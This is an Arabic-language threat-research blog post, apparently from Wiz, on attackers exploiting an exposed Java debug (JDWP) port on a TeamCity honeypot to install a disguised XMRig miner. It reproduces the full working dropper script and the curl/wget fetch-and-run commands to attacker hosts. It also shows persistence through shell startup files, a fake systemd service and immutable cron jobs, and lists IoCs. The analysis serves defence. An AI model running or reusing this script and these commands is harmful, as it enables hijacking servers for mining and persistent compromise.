أثناء المراقبة الروتينية، لاحظ فريق أبحاث Wiz محاولة استغلال تستهدف أحد خوادم مصيدة الجذب لدينا التي تقوم بتشغيل TeamCity، وهي أداة CI/CD شائعة. توصل تحقيقنا إلى أن المهاجم قد حصل على تنفيذ تعليمات برمجية عن بعد من خلال إساءة استخدام واجهة Java Debug Wire Protocol (JDWP) المكشوفة، مما أدى في النهاية إلى نشر حمولة تعدين العملات المشفرة وإعداد آليات استمرارية متعددة.
لقد وجدنا هذا الهجوم مثيرًا للاهتمام نظرًا لبعض النقاط الرئيسية:
-
استغلال سريع
تم نشر البرامج الضارة في غضون ساعات قليلة من الكشف عن الجهاز الضعيف. لقد لاحظنا هذا التحول السريع عبر محاولات متعددة. -
حمولة XMRig مخصصة
استخدم المهاجم نسخة معدلة من XMRig مع تكوين مضمن، مما يسمح له بتجنب وسيطات سطر الأوامر المشبوهة التي غالبًا ما يتم الإبلاغ عنها من قبل المدافعين. -
تعدين التشفير الخفي
استخدمت الحمولة وكلاء مجمع التعدين لإخفاء عنوان محفظة العملة المشفرة الخاصة بهم، وبالتالي منع المحققين من التركيز عليه.
JDWP، وهو اختصار لـ Java Debug Wire Protocol، هو ميزة قياسية في نظام Java الأساسي، مصمم لمساعدة المطورين على تصحيح أخطاء التطبيقات المباشرة. فهو يسمح بالفحص عن بعد للخيوط والذاكرة وتدفق التنفيذ دون إعادة تشغيل التطبيق. لتمكينه، عادةً ما يبدأ المطورون تشغيل JVM بعلامة مثل تلك الموجودة أدناه. يخبر هذا الإعداد JVM بالاستماع إلى اتصالات مصحح الأخطاء على المنفذ 5005 وقبول الاتصالات الواردة على جميع الواجهات.
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
ومع ذلك، لا يقوم JDWP بتنفيذ المصادقة أو التحكم في الوصول بشكل افتراضي، ويعتبر تعريضه للإنترنت بمثابة تكوين خاطئ. وعندما يتم كشفها، فإنها تصبح نقطة دخول عالية الخطورة، مما يمنح المهاجمين السيطرة الكاملة على عملية Java الجاري تشغيلها. في هذه الحالة، سمح التكوين الخاطئ للخصم بإدخال وتنفيذ أوامر عشوائية، وإثبات الاستمرارية، وتنفيذ البرامج الضارة.
على الرغم من أن JDWP (Java Debug Wire Protocol) لا يتم تمكينه افتراضيًا في معظم تطبيقات Java، إلا أنه يُستخدم بشكل شائع في بيئات التطوير وتصحيح الأخطاء. تقوم العديد من التطبيقات الشائعة بتشغيل خادم JDWP تلقائيًا عند تشغيله في وضع التصحيح، وغالبًا ما يكون ذلك دون توضيح المخاطر للمطور. إذا تم تأمينه بشكل غير صحيح أو تركه مكشوفًا، فقد يفتح ذلك الباب أمام ثغرات أمنية في تنفيذ التعليمات البرمجية عن بُعد (RCE).
تتضمن أمثلة التطبيقات التي قد تقوم بتشغيل خادم JDWP عندما تكون في وضع التصحيح ما يلي:
-
TeamCity (خادم CI/CD تم تطويره بواسطة JetBrains)
-
جنكينز (أداة CI شائعة)
-
شبكة السيلينيوم (منصة اختبار المتصفح الموزعة)
-
بحث مرن (محرك بحث يعتمد على جافا)
-
كواركوس (إطار جافا السحابي الأصلي)
-
التمهيد الربيع (إطار جافا)
-
أباتشي تومكات (خادم ويب مفتوح المصدر)
كما ذكرنا سابقًا، لاحظنا استغلالًا سريعًا للغاية لمثيلات JDWP المكشوفة. في اختباراتنا، بعد نشر جهاز مزود بخادم JDWP مكشوف، اكتشفت أجهزة الاستشعار لدينا محاولات استغلال خلال ساعات قليلة فقط، عبر حالات متعددة. يوضح هذا أن JDWP هي خدمة مستهدفة للغاية. لدعم ذلك، استخدمنا ميزة البحث المستندة إلى العلامات في GreyNoise ووجدنا أكثر من 6000 عنوان IP فريد يتم فحصه بحثًا عن نقاط نهاية JDWP في آخر 90 يومًا.
خلال تحقيقنا، لاحظنا عدة محاولات لاستغلال JDWP صادرة من جهات فاعلة مختلفة، ولكن من أجل التبسيط قررنا تركيز هذه المدونة على حادثة واحدة تكون بمثابة مثال جيد للنشاط ككل. لاحظ أن مؤشرات التسوية (IoCs) المدرجة في الملحق تتعلق بجميع الأنشطة المرصودة، وليس فقط بهذه الحادثة بالذات.
بدأ المهاجم بالبحث عن منافذ JDWP المفتوحة عبر الإنترنت. وصلت إحدى عمليات الفحص هذه إلى خادم مصيدة الجذب الخاص بنا، والذي كان يكشف JDWP على المنفذ 5005. ثم أرسل المهاجم رسالة JDWP-Handshake طلب التأكد من أن الواجهة نشطة وإنشاء جلسة JDWP. استجاب JVM بتفاصيل الإصدار وقائمة الفئات المحملة، مما يؤكد أن JDWP مكشوف بالفعل وتفاعلي بالكامل.
توجد أعلاه لقطة شاشة من Wireshark تعرض بروتوكول JDWP-Handshake.
ومن هناك، اتبع المهاجم تسلسلًا منظمًا لتنفيذ التعليمات البرمجية عن بُعد، ومن المحتمل أن يستخدم أحد إصدارات jdwp-shellifier مع ميزات إضافية. قاموا بالاستعلام عن JVM للفئات والأساليب المتاحة، ثم حددوا موقعها java.lang.Runtime وما يرتبط بها getRuntime() و exec() طُرق.
خطوات الاستغلال المتبعة:
-
إنشاء سلاسل Java تحتوي على أوامر النظام مثل:
-
curl -o /tmp/logservice.sh -s <https://canonicalconnect[.]com/logservice.sh> -
bash /tmp/logservice.sh
-
-
استدعاء
Runtime.getRuntime()استخدامINVOKESTATICMETHOD_SIG -
تمرير سلسلة الأمر إلى
exec()استخدامINVOKEMETHOD_SIG
توجد أعلاه لقطة شاشة من Wireshark تعرض حزم JDWP التي تحتوي على أوامر الاستغلال
تم تكرار هذه الخطوات باستخدام مجموعات مختلفة من الأوامر (wget, sh، وما إلى ذلك) لتنزيل حمولة الهجوم وإطلاقها.
تحت الغطاء، أصدر المهاجم تعليمات JDWP منخفضة المستوى بما في ذلك CreateString, get_all_classes, get_methodsوتوقيعات استدعاء الطريقة. لقد تم تشغيلها بالكامل من خلال بروتوكول JDWP، دون الحاجة إلى الوصول إلى التطبيق نفسه.
logservice.sh هو برنامج نصي بالقطارة مع الوظائف التالية:
-
اقتل القائمين بالتعدين المتنافسين أو أي عمليات ذات وحدة معالجة مركزية عالية (أي شيء يستخدم أكثر من 60% من وحدة المعالجة المركزية باستثناء القائمة المسموح بها الصغيرة من العمليات).
-
قم بإسقاط عامل تعدين XMRig الذي تم الحصول عليه من
https[://]awarmcorner[.]world/silicon<architecture>blueprints.pngداخل~/.config/logrotateوتنفيذها. -
قم بتثبيت الخطافات المستمرة في كل ملف بدء تشغيل Shell (
.bashrc,.zshrc، وما إلى ذلك)، وrc.local، وsystemd، ومهام cron المتعددة، مما يضمن إعادة جلب الحمولة النافعة وإعادة تنفيذها عند كل تسجيل دخول إلى Shell، أو إعادة تشغيل، أو فاصل زمني مجدول. -
حذف نفسه عند الخروج، وترك أثر ضئيل للغاية.
#!/bin/sh
>/dev/null 2>&1
ps -eo pid,%cpu,comm --sort=-%cpu | awk 'NR>1 && !/awk|ps/ && !($3 ~ /^(logrotate|sshd|java)$/) && int($2) > 60 system("kill -9 " $1) '
EXEC="source <(wget -q -O - <http://185.196.8.123/logservice.sh> || curl -sL <http://185.196.8.123/logservice.sh>)"
trap 'rm -- "$0"' EXIT
if [ -z "$HOME+x" ]; then
export HOME=/tmp
fi
mkdir -p "$HOME/.config" >/dev/null 2>&1
[ ! -f "$HOME/.config/logrotate" ] &&
ARCH=$(uname -m)
URL=""
[ "$ARCH" = "x86_64" ] && URL="<https://awarmcorner.world/silicon64blueprints.png>"
[ "$ARCH" = "aarch64" ] && URL="<https://awarmcorner.world/siliconarmblueprints.png>"
[ "$ARCH" = "armv7l" ] && URL="<https://awarmcorner.world/siliconarmv7blueprints.png>"
[ -z "$URL" ] && URL="<https://awarmcorner.world/silicon64blueprints.png>"
wget -q -O "$HOME/.config/logrotate" "$URL" >/dev/null 2>&1
chmod +x "$HOME/.config/logrotate" >/dev/null 2>&1
pgrep -f "config/logrotate" >/dev/null 2>&1 || "$HOME/.config/logrotate"
add_to_startup()
if [ -r "$1" ]; then
if ! grep -Fxq "$EXEC >/dev/null 2>&1" "$1"; then
echo "$EXEC >/dev/null 2>&1" >> "$1"
fi
fi
case "$(ps -p $$ -o comm=)" in
bash) add_to_startup "$HOME/.bashrc"
add_to_startup "$HOME/.bash_logout" ;;
zsh) add_to_startup "$HOME/.zshrc" ;;
esac
[ "$(id -u)" -eq 0 ] &&
RCLOCAL=''
[ -e /etc/debian_version ] && RCLOCAL='/etc/rc.local'
[ -e /etc/centos-release -o -e /etc/redhat-release ] && RCLOCAL='/etc/rc.d/rc.local'
[ -n "$RCLOCAL" ] && add_to_startup "$RCLOCAL"
cat >/etc/systemd/system/logrotate.service <<EOL
[Unit]
Description=The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files
[Service]
ExecStart=$HOME/.config/logrotate
Restart=always
Nice=-20
StandardOutput=null
[Install]
WantedBy=multi-user.target
EOL
sudo systemctl daemon-reload 2>/dev/null
sudo systemctl enable logrotate.service 2>/dev/null
[ -d /var/spool/cron ] && [ -f /var/spool/cron/root ] && echo "@daily $EXEC" >> /var/spool/cron/root 2>/dev/null
[ -d /var/spool/cron/crontabs ] && [ -f /var/spool/cron/crontabs/root ] && echo "@daily $EXEC" >> /var/spool/cron/crontabs/root 2>/dev/null
[ -f /etc/crontab ] && echo "@daily $EXEC" >> /etc/crontab 2>/dev/null && sudo chattr +i /etc/crontab 2>/dev/null
[ -d /etc/cron.hourly ] && echo "$EXEC" >> /etc/cron.hourly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.hourly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.hourly/logrotate 2>/dev/null
[ -d /etc/cron.daily ] && echo "$EXEC" >> /etc/cron.daily/logrotate 2>/dev/null && sudo chmod +x /etc/cron.daily/logrotate 2>/dev/null && sudo chattr +i /etc/cron.daily/logrotate 2>/dev/null
[ -d /etc/cron.weekly ] && echo "$EXEC" >> /etc/cron.weekly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.weekly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.weekly/logrotate 2>/dev/null
[ -d /etc/cron.monthly ] && echo "$EXEC" >> /etc/cron.monthly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.monthly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.monthly/logrotate 2>/dev/null
[ -d /etc/cron.yearly ] && echo "$EXEC" >> /etc/cron.yearly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.yearly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.yearly/logrotate 2>/dev/null
وكما ذكرنا سابقًا، قام المهاجم بنشر الحمولة الضارة تحت هذا الاسم com.logrotate، على الأرجح في محاولة للاندماج مع أداة النظام الشرعية التي تحمل الاسم نفسه وتجنب إثارة الشكوك. في الواقع هذا com.logrotate يعتبر ثنائي هو نسخة معدلة من XMRig، وهو عامل تعدين شرعي مفتوح المصدر للعملات المشفرة، والذي، على نحو غير مفاجئ، لا يزال المفضل لدى الجهات الفاعلة في مجال التهديد لتعدين العملات المشفرة غير المصرح به. كونه مفتوح المصدر، يوفر XMRig للمهاجمين سهولة التخصيص، والذي يتضمن في هذه الحالة تجريد كل منطق تحليل سطر الأوامر وترميز التكوين. لا يعمل هذا التعديل على تبسيط النشر فحسب، بل يسمح أيضًا للحمولة بتقليد الحمولة الأصلية com.logrotate عملية أكثر إقناعا.
بعد الحصول على التنفيذ، قام المهاجم بإعداد آليات ثبات متعددة. لقد لاحظنا أنهم يستخدمون مجموعة من نصوص التمهيد القديمة، وخدمات systemd الحديثة، ووظائف cron، وملفات تكوين Shell:
RC المحلية
لقد بدأوا بالتحقق من توزيع Linux وتعديل ملف التمهيد المناسب:
RCLOCAL=''
[ -e /etc/debian_version ] && RCLOCAL='/etc/rc.local'
[ -e /etc/centos-release -o -e /etc/redhat-release ] && RCLOCAL='/etc/rc.d/rc.local'
[ -n "$RCLOCAL" ] && add_to_startup "$RCLOCAL"
خدمة سيستمز
بعد ذلك، قام المهاجم بإسقاط خدمة systemd مزيفة تنكرت على أنها logrotate. في الواقع، أشار ببساطة إلى الملف الثنائي الخبيث وتم ضبطه على إعادة التشغيل بشكل مستمر:
[Unit]
Description=The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files
[Service]
ExecStart=$HOME/.config/logrotate
Restart=always
Nice=-20
StandardOutput=null
[Install]
WantedBy=multi-user.target
البرامج النصية لبدء التشغيل لشركة Shell
لتشغيل الحمولة عند تسجيل الدخول أو تسجيل الخروج في المحطة الطرفية، قاموا بإلحاقها بملفات تكوين Shell الخاصة بالمستخدم:
case "$(ps -p $$ -o comm=)" in
bash) add_to_startup "$HOME/.bashrc"
add_to_startup "$HOME/.bash_logout" ;;
zsh) add_to_startup "$HOME/.zshrc" ;;
esac
وظائف كرون
وأخيرًا، أنشأ المهاجم وظائف cron عبر مواقع وفواصل زمنية متعددة.
[ -d /var/spool/cron ] && [ -f /var/spool/cron/root ] && echo "@daily $EXEC" >> /var/spool/cron/root 2>/dev/null
[ -d /var/spool/cron/crontabs ] && [ -f /var/spool/cron/crontabs/root ] && echo "@daily $EXEC" >> /var/spool/cron/crontabs/root 2>/dev/null
[ -f /etc/crontab ] && echo "@daily $EXEC" >> /etc/crontab 2>/dev/null && sudo chattr +i /etc/crontab 2>/dev/null
[ -d /etc/cron.hourly ] && echo "$EXEC" >> /etc/cron.hourly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.hourly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.hourly/logrotate 2>/dev/null
[ -d /etc/cron.daily ] && echo "$EXEC" >> /etc/cron.daily/logrotate 2>/dev/null && sudo chmod +x /etc/cron.daily/logrotate 2>/dev/null && sudo chattr +i /etc/cron.daily/logrotate 2>/dev/null
[ -d /etc/cron.weekly ] && echo "$EXEC" >> /etc/cron.weekly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.weekly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.weekly/logrotate 2>/dev/null
[ -d /etc/cron.monthly ] && echo "$EXEC" >> /etc/cron.monthly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.monthly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.monthly/logrotate 2>/dev/null
[ -d /etc/cron.yearly ] && echo "$EXEC" >> /etc/cron.yearly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.yearly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.yearly/logrotate 2>/dev/null
كشف
يمكن لـ Wiz المساعدة في اكتشاف الهجمات مثل تلك الموضحة في هذه المدونة بعدة طرق:
-
يكتشف نظام اكتشاف البرامج الضارة بدون وكيل لدينا هذه الأنواع من التهديدات المتطورة باستخدام كتالوج قواعد YARA الخاص بنا.
-
يكتشف مستشعر Wiz Runtime الأحداث والسلوكيات المرتبطة بهذا التهديد والتهديدات المماثلة، وينبهك في كل خطوة من خطوات الهجوم: بدءًا من استغلال JDWP الأولي، وحتى التعديلات في خدمات crontab وخدمات النظام، وفي النهاية، نشاط تعدين العملات المشفرة.
| IoC | يكتب | وصف |
|---|---|---|
| a923de9df0766d6c4be46191117b8cc6486cf19c | شا-1 | logservice.sh |
| 1879d5fa0c2ca816fcb261e96338e325e76dca09 | شا-1 | logservice.sh |
| 18d83ba336ca6926ce8b9d68f104cff053f0c2f9 | شا-1 | o.sh – نص الهجوم |
| 815bc1a79440cdc4a7e1d876ff2dc7bc4f53d25e | شا-1 | com.logrotate |
| 0851a95d46f035c7759782299422bcfd794e2aec | شا-1 | com.logrotate |
| 7074d674d120d19aa7e44e29dd126af152ccdb7c | شا-1 | com.logrotate |
| 2d4a23e861ef41df6953195fa4cda115e37a7218 | شا-1 | com.logrotate |
| baf0a3b92225f56499c6879b176a3d6163b9d3ef | شا-1 | com.logrotate |
| ea7c97294f415dc8713ac8c280b3123da62f6e56 | شا-1 | اكس امريج 6.22 |
| 185.196.8[.]123 | الملكية الفكرية | خادم الملفات |
| 185.196.8[.]86 | الملكية الفكرية | خادم ملفات الحمولات |
| 176.65.148[.]57 | الملكية الفكرية | الماسح الضوئي JDWP |
| 176.65.148[.]86 | الملكية الفكرية | الماسح الضوئي JDWP |
| 176.65.148[.]239 | الملكية الفكرية | الماسح الضوئي JDWP |
| 185.208.156[.]247:3333 | الملكية الفكرية | تجمع التعدين |
| 185.196.8[.]41 | الملكية الفكرية | تجمع التعدين |
| https://warmcorner[.]عالم | اِختِصاص | خادم ملفات الحمولات |
| https://aheatcorner[.]عالم | اِختِصاص | خادم ملفات الحمولات السابقة |
| https://canonicalconnect[.]com | اِختِصاص | خادم ملفات الحمولات |
| https://cozy[.]اليخوت | اِختِصاص | خادم ملفات الحمولات السابقة |
| https://s3.tebi[.]io/dhcpdc/o.sh | عنوان URL | عنوان URL للحمولة |
